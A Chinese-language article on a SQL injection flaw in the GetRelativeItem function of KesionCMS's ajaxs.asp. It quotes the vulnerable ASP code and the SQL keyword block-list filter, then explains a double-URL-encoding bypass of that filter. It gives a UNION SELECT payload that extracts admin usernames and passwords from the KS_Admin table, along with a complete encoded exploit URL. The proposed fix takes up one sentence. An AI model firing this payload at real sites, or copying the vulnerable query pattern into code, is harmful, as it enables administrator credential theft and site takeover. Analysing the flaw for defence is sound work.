文章介紹了desion cms容易被sql注入的修復方法,方法為UnEscape()函數調用位置放在函數體內,或者不調用.
先我們來看代碼:
- Dim KS:Set KS=New PublicCls
- Dim Action
- Action=KS.S("Action")
- Select Case Action
- Case "Ctoe" CtoE
- Case "GetTags" GetTags
- Case "GetRelativeItem" GetRelativeItem //問題函數
- ...skip...
- Case "getonlinelist" getonlinelist
- End Select
- Sub GetRelativeItem() //漏洞函數開始
- Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置,只調用ks.s函數,無其它過濾。
- Dim Rtitle:rtitle=lcase(KS.G("rtitle"))
- Dim RKey:Rkey=lcase(KS.G("Rkey"))
- Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))
- Dim ID:ID=KS.ChkClng(KS.G("ID"))
- Dim Param,RS,SQL,k,SqlStr
- If Key<>"" Then
- If (Rtitle="true" Or RKey="true") Then
- If Rtitle="true" Then
- param=Param & " title like '%" & key & "%'"//類似搜索型注入漏洞。
- end if
- If Rkey="true" Then
- If Param="" Then
- Param=Param & " keywords like '%" & key & "%'"
- Else
- Param=Param & " or keywords like '%" & key & "%'"
- End If
- End If
- Else
- Param=Param & " keywords like '%" & key & "%'"
- End If
- End If
- If Param<>"" Then
- Param=" where InfoID<>" & id & " and (" & param & ")"
- else
- Param=" where InfoID<>" & id
- end if
- If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID//開源軟件:Vevb.com
- Param=Param & " and verific=1"
- SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查詢
- Set RS=Server.CreateObject("ADODB.RECORDSET")
- RS.Open SqlStr,conn,1,1
- If Not RS.Eof Then
- SQL=RS.GetRows(-1)
- End If
- RS.Close
如果配合Unescape()函數,剛過濾不會生效,可以采用unicode編碼方式,則不會在瀏覽器中出現被過濾的字符,例如,單引號可以編碼為,%2527,經過解碼后還是“'”號,這樣的話,就可以利用類似php的二次編碼漏洞的方式繞過過濾了.
注入語句:%') union select 1,2,username+'|'+ password from KS_Admin
轉換如下:
- /plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500
先進行了過濾,然后才調用UnEscape解碼,代碼如下:
- Public Function S(Str)
- S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))
- Function DelSql(Str)
- Dim SplitSqlStr,SplitSqlArr,I
- SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"
- SplitSqlArr = Split(SplitSqlStr,"|")
- For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)
- If Instr(LCase(Str),SplitSqlArr(I))>0 Then
- Die "<script>alert('系統警告!nn1、您提交的數據有惡意字符" & SplitSqlArr(I) &";n2、您的數據已經被記錄;n3、您的IP:"&GetIP&";n4、操作日期:"&Now&";n Powered By Kesion.Com!');window.close();</script>"
- End if
- Next
- DelSql = Str
- End Function
這樣我們還是開頭的那句話使用unescape()函數或者不使用本函數.
新聞熱點
疑難解答